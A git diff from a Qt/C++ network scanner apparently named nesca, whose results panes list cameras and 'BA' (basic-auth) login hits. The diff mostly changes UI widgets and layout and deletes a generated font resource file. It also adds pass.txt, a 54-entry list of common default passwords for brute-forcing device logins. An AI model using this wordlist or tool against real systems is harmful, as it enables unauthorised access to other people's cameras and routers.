QVector vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSH extern QList lstOfLabels; extern QSystemTrayIcon *tray; +extern QStandardItemModel *BAModel; + class nesca_3 : public QMainWindow { Q_OBJECT public: - nesca_3(QWidget *parent = 0); + nesca_3(bool isWM, QWidget *parent); ~nesca_3(); void ConnectEvrthng(); void ChangeLabelIpRange_Value(QString str); void ChangeLabelIPS_Value(QString str); void newListItem(QString str); + static int addBARow(QString ip, QString loginPass, QString percentage); public: static int perc; @@ -57,7 +64,9 @@ protected: void ThreadDelay_ChangeValue(QString val); void ChangePingerOK(bool val); void changeNSTrackLabel(bool status); - void slotPBUpdate(); + void slotPBUpdate(); + void slotPB2Update(); + void slotPB2DrawPointer(int pointer); void DNSLine_ValueChanged(); void slotShowRedVersion(); void slotTabChanged(int index); @@ -112,12 +121,13 @@ protected: void appendDebugText(QString str); void appendNotifyText(QString str); void appendDefaultText(QString str); - void appendGreenBAData(QString str); - void appendRedBAData(QString str); void STTTerminate(); void drawVerboseArcs(unsigned long gTargets); void finishLoading(); void slotBlockButtons(bool value); + //BA TablelistView + void slotChangeBARow(const int index, const QString loginPass, const QString percentage); + private: QPoint dragPosition; }; @@ -129,6 +139,85 @@ public: public: void contextMenuEvent(QContextMenuEvent *event); }; + +class PekoWidget : public QWidget +{ + Q_OBJECT; +public: + static int m_xPos; + static int m_yPos; + static int m_windowCounter; + static int offset; + + PekoWidget(QWidget *parent = 0) : QWidget(parent) + { + } + PekoWidget(const int qmwXPos, const int qmwYPos, QWidget *parent = 0) : QWidget(parent) + { + offset = 5; + setWindowFlags(Qt::FramelessWindowHint | Qt::SubWindow); + installEventFilter(this); + setStyleSheet( + "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));"); + + if (m_xPos >= 1200) { + m_xPos = 305; + offset += 5; + } + setGeometry(qmwXPos - m_xPos, qmwYPos + m_yPos, 300, 200); + if (m_windowCounter++ < 3) { + m_yPos += 200 + offset; + } + else { + m_windowCounter = 0; + m_xPos += 305; + m_yPos = 0; + } + }; +protected: + bool switchWindows; + void paintEvent(QPaintEvent *e) + { + QPainter painter(this); + painter.setPen(QColor(255, 255, 255, 60)); + painter.drawRoundedRect(0, 0, width() - 1, height() - 1, 0, 1); + QWidget::paintEvent(e); + + } + void mousePressEvent(QMouseEvent *evt) + { + switchWindows = false; + if (evt->button() == Qt::LeftButton) + { + switchWindows = true; + oldPos = evt->globalPos(); + evt->accept(); + } + else if (evt->button() == Qt::RightButton) + { + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + this->hide(); + }; + } + void mouseMoveEvent(QMouseEvent *evt) + { + switchWindows = false; + const QPoint delta = evt->globalPos() - oldPos; + move(x() + delta.x(), y() + delta.y()); + oldPos = evt->globalPos(); + } + void mouseReleaseEvent() + { + if (switchWindows) + { + switchWindows = false; + }; + } + +private: + QPoint oldPos; +}; + class PopupMsgWidget : public QWidget { Q_OBJECT diff --git a/nesca_3.qrc b/nesca_3.qrc index f377a50..76d3458 100644 --- a/nesca_3.qrc +++ b/nesca_3.qrc @@ -1,6 +1,7 @@ small_font.ttf + xc.jpg nesca.ico diff --git a/nesca_3.rc b/nesca_3.rc index dcb8837..050af80 100644 Binary files a/nesca_3.rc and b/nesca_3.rc differ diff --git a/nesca_3.ui b/nesca_3.ui index 8d8be90..b213b5a 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -963,7 +963,28 @@ color: rgb(214, 214, 0); - 437 + 451 + 20 + 26 + 102 + + + + background-color:rgb(38, 38, 38); +border: 1px solid rgb(227, 227, 227); +border-radius: 3px; + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + + 420 20 26 102 @@ -1640,6 +1661,9 @@ border-radius: 3px; + + true + 20 @@ -1701,68 +1725,6 @@ p, li { white-space: pre-wrap; } false - - - - 19 - 783 - 41 - 10 - - - - - 0 - 0 - - - - - 0 - 0 - - - - - Small Fonts - 7 - - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - - - 1 - - - Status: - - - false - - - - - - 58 - 783 - 101 - 10 - - - - - Small Fonts - 7 - - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - - - Idle - - @@ -2031,7 +1993,7 @@ p, li { white-space: pre-wrap; } color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - Anomalies + Cameras Qt::AutoText @@ -2089,7 +2051,7 @@ p, li { white-space: pre-wrap; } color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - Suspicious + Other @@ -2115,7 +2077,7 @@ p, li { white-space: pre-wrap; } color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - WebForms + -- @@ -2167,7 +2129,7 @@ p, li { white-space: pre-wrap; } color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - Lowloads + -- @@ -2375,63 +2337,13 @@ p, li { white-space: pre-wrap; } QGraphicsView::CacheNone - - - - 20 - 445 - 453 - 326 - - - - - Small Fonts - 7 - - - - background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white; - - - - - - QFrame::NoFrame - - - QFrame::Plain - - - false - - - true - - - <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> -<html><head><meta name="qrichtext" content="1" /><style type="text/css"> -p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Small Fonts'; font-size:7pt; font-weight:400; font-style:normal;"> -<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Eurostile'; font-size:8pt;"><br /></p></body></html> - - - 5 - - - Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse - - - true - - - 480 - 500 + 475 + 467 16 - 205 + 21 @@ -2447,54 +2359,12 @@ p, li { white-space: pre-wrap; } Brute activity - border: 1px solid rgb(216, 216, 216); -color: rgb(216, 216, 216); -background-color: #000000; + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); < - - - - 200 - 783 - 45 - 10 - - - - - 0 - 0 - - - - - 0 - 0 - - - - - Small Fonts - 7 - - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - - - 1 - - - NS-Track: - - - false - - @@ -3026,8 +2896,8 @@ background-color: #000000; - 249 - 785 + 456 + 0 8 8 @@ -3039,7 +2909,7 @@ background-color: #000000;
- background-color: black; border: 1px solid white; + background-color: black; border: 1px solid #313131; @@ -3127,15 +2997,98 @@ background-color: #000000; ✔: + + + + 20 + 780 + 351 + 16 + + + + + 7 + + + + false + + + Qt::NoFocus + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + + + + false + + + true + + + + + + 20 + 445 + 453 + 326 + + + + + Small Fonts + 7 + + + + background-color: rgb(26, 26,26); border: 1px solid white; + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + Qt::ScrollBarAlwaysOff + + + QAbstractItemView::SingleSelection + + + QAbstractItemView::SelectRows + + + false + + + false + + + false + + + 20 + + + 10 + + + BATableView graphicTextPlacer - BAText labelNesca_3 tabMainWidget line exitButton dataText - labelStatus - labelStatus_Value line_2 RedLabel YellowLabel @@ -3159,7 +3112,6 @@ background-color: #000000; graphicLog_2 graphicLog_Upper switcherBut - labelTracker graphicActivityGrid graphicActivity VoiceScanBut @@ -3188,6 +3140,7 @@ background-color: #000000; labelRunningThreads labelSavedValue labelSaved + currentDirectoryLine diff --git a/pass.txt b/pass.txt index e69de29..07ed9dd 100644 --- a/pass.txt +++ b/pass.txt @@ -0,0 +1,54 @@ +12345 +root +admin +password +123456 +1234 + + +123123 +pass +qwerty +meinsm +monitor +user +support +test +sysadm +admin123 +Admin +123321 +12344321 +toor +qwerty123 +1q2w3e4r +987654321 +system +111111 +1111 +654321 +54321 +!@#$%^ +0000 +000000 +master +12345678 +666666 +888888 +88888888 +777777 +555555 +123321123 +222222 +333333 +444444 +999999 +111222333 +123123123 +123454321 +0123456789 +qqqqqq +administrator +backup +super +ubnt \ No newline at end of file diff --git a/piestat.cpp b/piestat.cpp index dc6cd8e..40a8c44 100644 --- a/piestat.cpp +++ b/piestat.cpp @@ -11,14 +11,14 @@ void PieStat::run() while(PieStatFlag) { psTh->doEmitUpdatePie(); - AnomC1 = 0; - WF = 0; + camerasC1 = 0; + //WF = 0; baCount = 0; filtered = 0; Overl = 0; - Lowl = 0; + //Lowl = 0; Alive = 0; - Susp = 0; + other = 0; ssh = 0; msleep(500); }; diff --git a/qrc_nesca_3.cpp b/qrc_nesca_3.cpp deleted file mode 100644 index 56d4d68..0000000 --- a/qrc_nesca_3.cpp +++ /dev/null @@ -1,2473 +0,0 @@ -/**************************************************************************** -** Resource object code -** -** Created by: The Resource Compiler for Qt version 5.3.2 -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include - -static const unsigned char qt_resource_data[] = { - - 0x0,0x0,0x94,0xe4, - 0x0, - 0x1,0x0,0x0,0x0,0xc,0x0,0x80,0x0,0x3,0x0,0x40,0x4f,0x53,0x2f,0x32,0x73, - 0xa3,0x5c,0x6c,0x0,0x0,0x0,0xcc,0x0,0x0,0x0,0x4e,0x63,0x6d,0x61,0x70,0xdf, - 0xaf,0x10,0x9e,0x0,0x0,0x1,0x1c,0x0,0x0,0x3,0xf4,0x63,0x76,0x74,0x20,0x3, - 0xbd,0x3,0xbb,0x0,0x0,0x5,0x10,0x0,0x0,0x0,0x8,0x67,0x6c,0x79,0x66,0x41, - 0x12,0xca,0xa2,0x0,0x0,0x5,0x18,0x0,0x0,0x7f,0xd2,0x68,0x65,0x61,0x64,0xb5, - 0x1e,0x7f,0x29,0x0,0x0,0x84,0xec,0x0,0x0,0x0,0x36,0x68,0x68,0x65,0x61,0xd, - 0xea,0x7,0x1b,0x0,0x0,0x85,0x24,0x0,0x0,0x0,0x24,0x68,0x6d,0x74,0x78,0x40, - 0xc,0x72,0x7e,0x0,0x0,0x85,0x48,0x0,0x0,0x4,0x38,0x6c,0x6f,0x63,0x61,0xc5, - 0xcc,0xa4,0x28,0x0,0x0,0x89,0x80,0x0,0x0,0x2,0x1e,0x6d,0x61,0x78,0x70,0x1, - 0x44,0x1,0x7c,0x0,0x0,0x8b,0xa0,0x0,0x0,0x0,0x20,0x6e,0x61,0x6d,0x65,0xf, - 0x1c,0x1b,0x8a,0x0,0x0,0x8b,0xc0,0x0,0x0,0x6,0xaf,0x70,0x6f,0x73,0x74,0xba, - 0x4b,0xc9,0x33,0x0,0x0,0x92,0x70,0x0,0x0,0x2,0x5a,0x70,0x72,0x65,0x70,0x56, - 0x5f,0x67,0xf9,0x0,0x0,0x94,0xcc,0x0,0x0,0x0,0x18,0x0,0x0,0x3,0x4c,0x1, - 0x90,0x0,0x5,0x0,0xe,0x3,0x54,0x3,0x4a,0x0,0x0,0x0,0x0,0x3,0x54,0x3, - 0x4a,0x0,0x0,0x3,0x4d,0x0,0x82,0x2,0x12,0x0,0x0,0x2,0xb,0x5,0x4,0x2, - 0x2,0x2,0x5,0x2,0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x0,0x55,0x52,0x57,0x0,0x0,0x40,0x0,0x20,0xf0,0x2,0x5, - 0x55,0xfe,0x66,0x1,0xde,0x6,0xee,0x1,0xac,0x0,0x0,0x0,0x0,0x0,0x2,0x0, - 0x1,0x0,0x0,0x0,0x0,0x0,0x14,0x0,0x3,0x0,0x1,0x0,0x0,0x1,0x1a,0x0, - 0x0,0x1,0x6,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x3,0x0, - 0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x1,0x0,0x0,0x3,0x5e,0x74,0x76,0x50,0x86,0x6e,0x73,0x6a,0x6b,0x72, - 0x78,0x58,0x67,0x54,0x66,0x4e,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x55, - 0x59,0x9f,0x7a,0xa0,0x60,0x75,0x5,0x6,0x7,0x8,0x9,0xa,0xb,0xc,0xd,0xe, - 0xf,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e, - 0x6c,0x88,0x6d,0xa8,0xaa,0x8d,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c, - 0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c, - 0x80,0xa9,0x81,0xac,0x0,0xaf,0xb4,0x22,0xb6,0xbd,0xbe,0xc3,0xc9,0xca,0xcb,0xc8, - 0xcc,0xcd,0x44,0xcf,0xd0,0xd1,0xce,0xd3,0xd4,0xd5,0xd2,0xd6,0xd8,0xd9,0xda,0xd7, - 0xdb,0xdd,0xde,0xdf,0xdc,0x70,0x77,0x51,0x4f,0x6f,0x98,0x7c,0x40,0x97,0x96,0x7b, - 0x8c,0x89,0x9b,0x1f,0x21,0xa4,0x84,0xa1,0xa2,0x53,0xad,0xa7,0xa6,0xa5,0xab,0x9d, - 0x82,0x83,0xae,0x3d,0x3f,0x61,0x5f,0xa3,0x9c,0x52,0x9e,0x9a,0x63,0x62,0x57,0x4, - 0xb1,0xb3,0xc2,0x20,0x3e,0x68,0x69,0x5c,0x5b,0x5a,0x7f,0x79,0x99,0xe0,0xc7,0x85, - 0x7d,0x65,0x64,0x42,0x43,0x71,0x56,0x7e,0x5d,0x87,0xb2,0xb8,0xb0,0xb5,0xb7,0xba, - 0xbc,0xb9,0xbb,0xbf,0xc1,0x0,0xc0,0xc4,0xc6,0xc5,0x41,0x8e,0x91,0x95,0x90,0x8a, - 0x8b,0x93,0x92,0x94,0x8f,0x0,0x4,0x2,0xd8,0x0,0x0,0x0,0x48,0x0,0x40,0x0, - 0x5,0x0,0x8,0x0,0x7e,0x0,0xae,0x0,0xb6,0x0,0xff,0x1,0x31,0x1,0x53,0x1, - 0x61,0x1,0x78,0x1,0x92,0x2,0xc7,0x2,0xc9,0x2,0xdd,0x3,0xc0,0x20,0x14,0x20, - 0x1a,0x20,0x1e,0x20,0x22,0x20,0x26,0x20,0x30,0x20,0x3a,0x21,0x22,0x21,0x26,0x22, - 0x2,0x22,0x6,0x22,0xf,0x22,0x11,0x22,0x15,0x22,0x1a,0x22,0x1e,0x22,0x2b,0x22, - 0x48,0x22,0x60,0x22,0x65,0x25,0xca,0xf0,0x2,0xff,0xff,0x0,0x0,0x0,0x20,0x0, - 0xa0,0x0,0xb0,0x0,0xb8,0x1,0x31,0x1,0x52,0x1,0x60,0x1,0x78,0x1,0x92,0x2, - 0xc6,0x2,0xc9,0x2,0xd8,0x3,0xc0,0x20,0x13,0x20,0x18,0x20,0x1c,0x20,0x20,0x20, - 0x26,0x20,0x30,0x20,0x39,0x21,0x22,0x21,0x26,0x22,0x2,0x22,0x6,0x22,0xf,0x22, - 0x11,0x22,0x15,0x22,0x19,0x22,0x1e,0x22,0x2b,0x22,0x48,0x22,0x60,0x22,0x64,0x25, - 0xca,0xf0,0x1,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x10,0x0, - 0x0,0x0,0x0,0xff,0x4f,0xfe,0xc0,0xfd,0xc8,0xfd,0xcc,0x0,0x0,0xfc,0xeb,0xe0, - 0x55,0x0,0x0,0x0,0x0,0x0,0x0,0xe0,0x31,0xe0,0x57,0x0,0x0,0xdf,0x59,0xdf, - 0x88,0xde,0xa5,0xde,0x94,0xde,0x96,0xde,0x95,0xde,0x70,0x0,0x0,0xde,0x86,0xde, - 0x72,0xde,0x56,0xde,0x3b,0xde,0x3d,0xda,0xcf,0x10,0x41,0x0,0x1,0x0,0x48,0x1, - 0x4,0x1,0x20,0x1,0x2c,0x0,0x0,0x1,0xb8,0x1,0xba,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x1,0xb4,0x0,0x0,0x0,0x0,0x1,0xba,0x1,0xbe,0x1,0xc2,0x0, - 0x0,0x0,0x0,0x1,0xc2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x1,0xb6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x5e,0x0,0x74,0x0,0x76,0x0,0x50,0x0, - 0x86,0x0,0x6e,0x0,0x73,0x0,0x6a,0x0,0x6b,0x0,0x72,0x0,0x78,0x0,0x58,0x0, - 0x67,0x0,0x54,0x0,0x66,0x0,0x4e,0x0,0x45,0x0,0x46,0x0,0x47,0x0,0x48,0x0, - 0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x55,0x0,0x59,0x0,0x9f,0x0, - 0x7a,0x0,0xa0,0x0,0x60,0x0,0x75,0x0,0x5,0x0,0x6,0x0,0x7,0x0,0x8,0x0, - 0x9,0x0,0xa,0x0,0xb,0x0,0xc,0x0,0xd,0x0,0xe,0x0,0xf,0x0,0x10,0x0, - 0x11,0x0,0x12,0x0,0x13,0x0,0x14,0x0,0x15,0x0,0x16,0x0,0x17,0x0,0x18,0x0, - 0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x1d,0x0,0x1e,0x0,0x6c,0x0,0x88,0x0, - 0x6d,0x0,0xa8,0x0,0xaa,0x0,0x8d,0x0,0x23,0x0,0x24,0x0,0x25,0x0,0x26,0x0, - 0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0,0x2e,0x0, - 0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0,0x36,0x0, - 0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x80,0x0,0xa9,0x0, - 0x81,0x0,0xac,0x0,0x4,0x0,0x5f,0x0,0x51,0x0,0x4f,0x0,0x7d,0x0,0x53,0x0, - 0xec,0x0,0x6f,0x0,0x89,0x0,0x96,0x0,0x82,0x0,0x63,0x0,0xa3,0x0,0x67,0x0, - 0x97,0x0,0x77,0x0,0x84,0x0,0xe6,0x0,0xe7,0x0,0x8c,0x0,0xad,0x0,0x7c,0x0, - 0x93,0x0,0xe5,0x0,0x83,0x0,0x62,0x0,0xea,0x0,0xe9,0x0,0xeb,0x0,0x61,0x0, - 0xb1,0x0,0xb0,0x0,0xb2,0x0,0xb3,0x0,0xaf,0x0,0xb4,0x0,0x1f,0x0,0x22,0x0, - 0xb7,0x0,0xb6,0x0,0xb8,0x0,0xb5,0x0,0xbb,0x0,0xba,0x0,0xbc,0x0,0xb9,0x0, - 0xe1,0x0,0xbd,0x0,0xc0,0x0,0xbf,0x0,0xc1,0x0,0xc2,0x0,0xbe,0x0,0xe8,0x0, - 0x21,0x0,0xc5,0x0,0xc4,0x0,0xc6,0x0,0xc3,0x1,0x8,0x0,0xe2,0x0,0x40,0x0, - 0xca,0x0,0xc9,0x0,0xcb,0x0,0xcc,0x0,0xc8,0x0,0xcd,0x0,0x3d,0x0,0x44,0x0, - 0xd0,0x0,0xcf,0x0,0xd1,0x0,0xce,0x0,0xd4,0x0,0xd3,0x0,0xd5,0x0,0xd2,0x0, - 0xe3,0x0,0xd6,0x0,0xd9,0x0,0xd8,0x0,0xda,0x0,0xdb,0x0,0xd7,0x0,0x79,0x0, - 0x3f,0x0,0xde,0x0,0xdd,0x0,0xdf,0x0,0xdc,0x1,0xd,0x0,0xe4,0x0,0xe0,0x0, - 0x20,0x0,0x3e,0x1,0x2,0x1,0xc,0x0,0x90,0x0,0x8a,0x0,0x8b,0x0,0x94,0x0, - 0x91,0x0,0x92,0x0,0x5a,0x0,0x7f,0x0,0x7e,0x0,0x5c,0x0,0x5b,0x0,0x5d,0x0, - 0x70,0x0,0x71,0x0,0x98,0x0,0x65,0x0,0x64,0x0,0x56,0x0,0x9c,0x1,0x5d,0x0, - 0x0,0x5,0x55,0x3,0xbc,0xfe,0x66,0x0,0x2,0x0,0x44,0x0,0x0,0x2,0x66,0x5, - 0x55,0x0,0x3,0x0,0x7,0x0,0x23,0x40,0x10,0x5,0x6,0x2,0x1,0x4,0x7,0x3, - 0x0,0x5,0x4,0x2,0x3,0x6,0x7,0x1,0x0,0x2f,0x3c,0xdc,0x3c,0x2f,0x3c,0xdc, - 0x3c,0x0,0x2f,0x3c,0xdc,0x3c,0x2f,0x3c,0xdc,0x3c,0x33,0x11,0x21,0x11,0x27,0x11, - 0x21,0x11,0x44,0x2,0x22,0x44,0xfe,0x66,0x5,0x55,0xfa,0xab,0x44,0x4,0xcd,0xfb, - 0x33,0x0,0x2,0x0,0xa,0x0,0x0,0x4,0xd4,0x5,0x55,0x0,0x7,0x0,0xa,0x0, - 0x46,0x40,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x1,0x5,0x4,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0x13,0xb4,0x7,0x6,0x3,0x2,0x3,0x17,0x2f,0x3c,0xb1,0x0, - 0x1,0x2f,0x3c,0xb2,0x8,0xa,0x1,0x10,0xdd,0x3c,0xb4,0x1,0x9,0x4,0x2,0x0, - 0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x21,0x3,0x23,0x1,0x33,0x1,0x23,0x3, - 0x9,0x1,0x3,0xc9,0xfd,0x4d,0x69,0xa3,0x1,0xf4,0xd8,0x1,0xfe,0xa1,0x97,0xfe, - 0xd1,0xfe,0xd5,0x1,0x21,0xfe,0xdf,0x5,0x55,0xfa,0xab,0x1,0x95,0x3,0x42,0xfc, - 0xbe,0x0,0x3,0x0,0x82,0x0,0x0,0x4,0x9e,0x5,0x55,0x0,0xd,0x0,0x16,0x0, - 0x20,0x0,0x66,0xb1,0x0,0x1,0x2f,0x3c,0xb5,0x17,0x20,0xe,0x16,0x3,0x1,0x10, - 0x17,0xdd,0x3c,0x40,0xb,0x1f,0x18,0x15,0xf,0xd,0xa,0x8,0x7,0x5,0x2,0x16, - 0x10,0xc0,0xc4,0xc0,0xc0,0xc4,0xc0,0xc0,0xc0,0xc0,0xc0,0xb3,0x1c,0xa,0x12,0x5, - 0x10,0xcd,0x10,0xcd,0x0,0x40,0xb,0x1,0x16,0x15,0x1,0x2,0x1,0x0,0x17,0x18, - 0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x0,0xd, - 0x2f,0x3c,0xb1,0xe,0xf,0x2f,0x3c,0xb2,0x20,0x1f,0xf,0x10,0xdd,0x3c,0xb3,0x8, - 0x7,0xf,0x1f,0x11,0x12,0x39,0x39,0x31,0x30,0x33,0x11,0x21,0x32,0x16,0x15,0x14, - 0x7,0x15,0x16,0x11,0x14,0x6,0x23,0x1,0x21,0x32,0x36,0x35,0x34,0x26,0x23,0x21, - 0x11,0x21,0x37,0x32,0x36,0x35,0x34,0x26,0x23,0x21,0x82,0x2,0x5c,0xfb,0x9b,0xaf, - 0xd9,0xab,0xd4,0xfd,0xfd,0x1,0x95,0xc1,0x6f,0x61,0xa5,0xfe,0x41,0x1,0x47,0x8b, - 0xb0,0x6d,0x6e,0xf4,0xfe,0x73,0x5,0x55,0x8a,0xdf,0xe3,0x3c,0x3,0x34,0xfe,0xf3, - 0xd9,0xb0,0x2,0xfd,0x5c,0x9f,0x8a,0x51,0xfb,0xaf,0x1,0x5b,0x93,0xb7,0x53,0x0, - 0x1,0x0,0x4c,0xff,0xf2,0x4,0x9a,0x5,0x63,0x0,0x1f,0x0,0x4f,0xb7,0x1f,0x12, - 0x11,0x10,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2f,0xb1,0x19, - 0x8,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c,0xb5,0x1, - 0x1f,0x2,0x1,0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb6,0x1,0x1,0x10,0x1, - 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,0xd,0x1,0x5,0x0,0x3f, - 0x3f,0xb3,0x1c,0x5,0x16,0xd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x15,0x10, - 0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x37,0x36,0x21,0x20,0x16,0x15,0x17,0x23,0x27, - 0x34,0x26,0x23,0x20,0x6,0x15,0x10,0x16,0x21,0x20,0x36,0x35,0x4,0x1,0x99,0xbe, - 0xfe,0x81,0xfe,0xa9,0xba,0x2a,0x63,0x74,0x1,0x81,0x1,0x5,0xb5,0x1,0x99,0x1, - 0x6b,0xbc,0xfe,0xb6,0x92,0x62,0x1,0x1e,0x1,0x10,0x87,0x1,0xc8,0x34,0xfe,0xe9, - 0x8b,0xf5,0x1,0xc6,0x1,0x63,0xb7,0x48,0x54,0xa2,0xe8,0x25,0x2a,0xa5,0x5e,0x6e, - 0xfa,0xfd,0xc1,0xc6,0x56,0xad,0x0,0x0,0x2,0x0,0x82,0x0,0x0,0x4,0xef,0x5, - 0x55,0x0,0x8,0x0,0x11,0x0,0x3e,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x9,0x11,0x1, - 0x10,0xdd,0x3c,0xb5,0x10,0xa,0x8,0x5,0x2,0x11,0x10,0xc0,0xc4,0xc0,0xc0,0xc0, - 0xb1,0xd,0x5,0x10,0xcd,0x0,0x40,0xb,0x1,0x11,0x10,0x1,0x2,0x1,0x0,0x9, - 0xa,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x0, - 0x8,0x2f,0x3c,0x31,0x30,0x33,0x11,0x21,0x20,0x12,0x11,0x10,0x2,0x21,0x25,0x21, - 0x32,0x36,0x11,0x10,0x26,0x23,0x21,0x82,0x2,0x78,0x1,0x25,0xd0,0xb9,0xfe,0xeb, - 0xfd,0xfb,0x1,0xbd,0xf5,0x8e,0x7b,0xe9,0xfe,0x24,0x5,0x55,0xfe,0xfe,0xfe,0x93, - 0xfe,0x44,0xfe,0xd6,0x82,0xc4,0x1,0x53,0x1,0x74,0xc6,0x0,0x1,0x0,0x4b,0x0, - 0x0,0x3,0xb8,0x5,0x55,0x0,0xb,0x0,0x4a,0xb1,0x9,0x8,0x2f,0x3c,0xb1,0x3, - 0x2,0x2f,0x3c,0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb5,0x0,0x5,0x4, - 0x1,0x3,0x8,0x10,0x17,0xdd,0x3c,0x0,0x40,0xb,0x1,0x0,0xb,0x1,0xa,0x9, - 0x0,0x6,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, - 0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd, - 0x3c,0x31,0x30,0x13,0x11,0x21,0x15,0x21,0x11,0x21,0x15,0x21,0x11,0x21,0x15,0xe5, - 0x2,0xb5,0xfd,0x4b,0x2,0xd3,0xfc,0x93,0x3,0x6d,0x4,0xd3,0xfe,0x2f,0x82,0xfe, - 0x2,0x82,0x5,0x55,0x82,0x0,0x1,0x0,0x82,0x0,0x0,0x3,0xc7,0x5,0x55,0x0, - 0x9,0x0,0x3f,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x9,0x8, - 0x2f,0x3c,0xb5,0x0,0x5,0x4,0x1,0x3,0x6,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1, - 0x0,0x9,0x1,0x8,0x7,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1, - 0x6,0x5,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd,0x3c, - 0x31,0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x23,0x11,0x21,0x15,0x1,0x1c,0x2,0x99, - 0xfd,0x67,0x9a,0x3,0x45,0x4,0xd3,0xfe,0x23,0x82,0xfd,0x8c,0x5,0x55,0x82,0x0, - 0x1,0x0,0x4b,0xff,0xf2,0x4,0xb6,0x5,0x63,0x0,0x25,0x0,0x5e,0xb1,0x0,0x25, - 0x2f,0x3c,0xb2,0x1a,0xa,0x25,0x10,0xc4,0xc0,0xb6,0x24,0x13,0x12,0x11,0x3,0x1, - 0x25,0x10,0xc0,0xc4,0xc0,0xc0,0xc0,0xc0,0xb3,0x22,0x3,0x1b,0xa,0x10,0xcd,0x10, - 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x13,0x12,0x2f,0x3c,0xb2,0x25,0x24,0x1, - 